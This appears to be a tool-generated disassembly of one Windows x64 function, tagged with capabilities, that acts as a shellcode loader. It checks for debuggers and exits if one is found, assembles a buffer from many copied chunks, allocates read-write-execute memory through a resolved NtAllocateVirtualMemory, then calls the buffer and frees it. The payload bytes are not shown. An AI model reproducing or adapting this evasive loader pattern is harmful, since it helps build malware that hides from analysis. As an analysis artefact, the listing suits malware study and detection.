Function at 0x1400112d0
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Execute shellcode via indirect call
Terminate process

Disassembly:
jmp 0x140017120
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x1400250f2]
call fcn.1400113fc
call fcn.140011492
test eax, eax
je 0x140017171
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rbp + 0x24]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp eax, 1
jne 0x1400171a5
cmp dword [rbp + 0x24], 1
jne 0x1400171a5
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140011474
test eax, eax
je 0x1400171c4
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, str.asda
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
mov r8d, 0xf
lea rdx, section..data
lea rcx, [0x14001f200]
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0xe
mov r8d, 0xf
lea rdx, str.RQH1
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x1c
mov r8d, 0xf
lea rdx, [0x14001bed8]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x2a
mov r8d, 0xf
lea rdx, [0x14001bef0]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x38
mov r8d, 0xf
lea rdx, [0x14001bf08]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x46
mov r8d, 0xf
lea rdx, [0x14001bf20]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x54
mov r8d, 0xf
lea rdx, [0x14001bf38]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x62
mov r8d, 0xf
lea rdx, [0x14001bf50]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x70
mov r8d, 0xf
lea rdx, [0x14001bf68]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x7e
mov r8d, 0xf
lea rdx, [0x14001bf80]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x8c
mov r8d, 0xf
lea rdx, [0x14001bf98]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x9a
mov r8d, 0xf
lea rdx, [0x14001bfb0]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0xa8
mov r8d, 0xf
lea rdx, [0x14001bfc8]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0xb6
mov r8d, 0xf
lea rdx, str.XAXYZAXAYAZH
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0xc4
mov r8d, 0xf
lea rdx, [0x14001bff8]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0xd2
mov r8d, 0xf
lea rdx, [0x14001c010]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0xe0
mov r8d, 0xf
lea rdx, [0x14001c028]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0xee
mov r8d, 0xf
lea rdx, [0x14001c040]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0xfc
mov r8d, 0xf
lea rdx, [0x14001c058]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x10a
mov r8d, 0xf
lea rdx, [0x14001c070]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x118
mov r8d, 0xf
lea rdx, [0x14001c088]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x126
mov r8d, 0xf
lea rdx, [0x14001c0a0]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x134
mov r8d, 0xf
lea rdx, [0x14001c0b8]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x142
mov r8d, 0xf
lea rdx, [0x14001c0d0]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x150
mov r8d, 0xf
lea rdx, [0x14001c0e8]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x15e
mov r8d, 0xf
lea rdx, [0x14001c100]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x16c
mov r8d, 0xf
lea rdx, [0x14001c118]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x17a
mov r8d, 0xf
lea rdx, [0x14001c130]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x188
mov r8d, 0xf
lea rdx, [0x14001c148]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x196
mov r8d, 0xf
lea rdx, [0x14001c160]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x1a4
mov r8d, 0xf
lea rdx, [0x14001c178]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x1b2
mov r8d, 0xf
lea rdx, [0x14001c190]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x1c0
mov r8d, 0xf
lea rdx, [0x14001c1a8]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x1ce
mov r8d, 0xf
lea rdx, [0x14001c1c0]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x1dc
mov r8d, 0xf
lea rdx, [0x14001c1d8]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x1ea
mov r8d, 0xf
lea rdx, [0x14001c1f0]
mov rcx, rax
call fcn.1400111fe
lea rax, [0x14001f200]
add rax, 0x1f8
mov r8d, 6
lea rdx, [0x14001c204]
mov rcx, rax
call fcn.1400111fe
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0x1ff
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x68]
xor r8d, r8d
lea rdx, [rbp + 0x48]
mov rcx, rax
call qword [rbp + 0x88]
mov dword [rbp + 0xa4], eax
mov r8d, 1
lea rdx, [0x14001c20c]
lea rcx, [0x14001f200]
call fcn.1400111fe
mov r8d, 0x1ff
lea rdx, [0x14001f200]
mov rcx, qword [rbp + 0x48]
call fcn.1400111fe
call qword [rbp + 0x48]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFreeVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xe8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x8000
lea r8, [rbp + 0xe8]
lea rdx, [rbp + 0x48]
mov rcx, rax
call qword [rbp + 0xc8]
mov dword [rbp + 0xa4], eax
jmp 0x140017795
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001bdb0]
call fcn.14001137f
mov rax, rdi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.1400111f9
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret